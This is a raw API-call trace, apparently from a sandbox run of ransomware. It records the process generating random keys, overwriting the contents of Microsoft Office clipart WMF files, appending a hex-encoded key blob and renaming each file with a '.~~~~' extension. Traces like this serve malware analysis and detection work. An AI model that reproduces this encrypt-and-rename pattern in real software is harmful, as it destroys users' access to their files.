	[0105.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286cd08 | out: hHeap=0x300000) returned 1
	[0105.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896fc8
	[0105.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286b100
	[0105.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896fc8 | out: hHeap=0x300000) returned 1
	[0105.251] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0105.251] GetLastError () returned 0x0
	[0105.251] GetLastError () returned 0x0
	[0105.251] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0105.251] GetLastError () returned 0x0
	[0105.252] GetLastError () returned 0x0
	[0105.255] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff943e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.255] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x6bc2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x6bc2, lpOverlapped=0x0) returned 1
	[0105.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0105.256] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.256] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.257] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.257] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.257] CloseHandle (hObject=0x128) returned 1
	[0105.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897070
	[0105.257] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf.~~~~")) returned 1
	[0105.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897070 | out: hHeap=0x300000) returned 1
	[0105.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0105.258] GetLastError () returned 0x0
	[0105.259] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0105.260] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.260] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0105.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0105.260] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22525023312) returned 1
	[0105.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa8693ff0, dwHighDateTime=0x1d60e1e)) 
	[0105.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0105.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0105.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0105.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286cd40
	[0105.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286cd40 | out: hHeap=0x300000) returned 1
	[0105.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897070
	[0105.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286b198
	[0105.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897070 | out: hHeap=0x300000) returned 1
	[0105.261] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0105.261] GetLastError () returned 0x0
	[0105.261] GetLastError () returned 0x0
	[0105.261] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0105.261] GetLastError () returned 0x0
	[0105.262] GetLastError () returned 0x0
	[0105.302] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff5f7a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.303] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xa086, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0xa086, lpOverlapped=0x0) returned 1
	[0105.304] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0105.304] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.304] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.305] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.305] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.305] CloseHandle (hObject=0x128) returned 1
	[0105.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0105.311] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf.~~~~")) returned 1
	[0105.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0105.352] GetLastError () returned 0x0
	[0105.352] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0105.354] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.354] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0105.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0105.354] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22534400179) returned 1
	[0105.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa8778830, dwHighDateTime=0x1d60e1e)) 
	[0105.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0105.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0105.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0105.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39d0e0
	[0105.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d0e0 | out: hHeap=0x300000) returned 1
	[0105.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0105.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286b230
	[0105.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.355] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0105.355] GetLastError () returned 0x0
	[0105.355] GetLastError () returned 0x0
	[0105.355] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0105.355] GetLastError () returned 0x0
	[0105.355] GetLastError () returned 0x0
	[0105.361] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffb4c0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.361] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x4b40, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x4b40, lpOverlapped=0x0) returned 1
	[0105.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0105.362] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.362] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.363] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.363] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.363] CloseHandle (hObject=0x11c) returned 1
	[0105.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897850
	[0105.363] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf.~~~~")) returned 1
	[0105.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897850 | out: hHeap=0x300000) returned 1
	[0105.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0105.364] GetLastError () returned 0x0
	[0105.366] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0105.367] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.367] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0105.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0105.367] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22535719449) returned 1
	[0105.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa879e990, dwHighDateTime=0x1d60e1e)) 
	[0105.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0105.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0105.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0105.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286cde8
	[0105.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286cde8 | out: hHeap=0x300000) returned 1
	[0105.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897850
	[0105.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286b6f0
	[0105.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897850 | out: hHeap=0x300000) returned 1
	[0105.368] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0105.368] GetLastError () returned 0x0
	[0105.368] GetLastError () returned 0x0
	[0105.368] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0105.368] GetLastError () returned 0x0
	[0105.368] GetLastError () returned 0x0
	[0105.371] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff7f2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.371] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x80d4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x80d4, lpOverlapped=0x0) returned 1
	[0105.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0105.372] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.373] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.373] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.373] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.373] CloseHandle (hObject=0x11c) returned 1
	[0105.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28978f8
	[0105.379] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf.~~~~")) returned 1
	[0105.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28978f8 | out: hHeap=0x300000) returned 1
	[0105.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0105.381] GetLastError () returned 0x0
	[0105.381] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0105.383] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.383] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0105.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0105.383] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22537316062) returned 1
	[0105.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa87c4af0, dwHighDateTime=0x1d60e1e)) 
	[0105.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0105.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0105.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0105.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286ce20
	[0105.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286ce20 | out: hHeap=0x300000) returned 1
	[0105.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28978f8
	[0105.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286b788
	[0105.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28978f8 | out: hHeap=0x300000) returned 1
	[0105.384] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0105.384] GetLastError () returned 0x0
	[0105.384] GetLastError () returned 0x0
	[0105.385] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0105.385] GetLastError () returned 0x0
	[0105.385] GetLastError () returned 0x0
	[0105.496] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff3460, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.496] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xcba0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0xcba0, lpOverlapped=0x0) returned 1
	[0105.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0105.497] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.497] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.497] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.497] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.497] CloseHandle (hObject=0x11c) returned 1
	[0105.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0105.497] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf.~~~~")) returned 1
	[0105.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0105.498] GetLastError () returned 0x0
	[0105.599] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0105.611] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.612] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0105.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0105.621] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22561435069) returned 1
	[0105.624] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa8a260f0, dwHighDateTime=0x1d60e1e)) 
	[0105.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
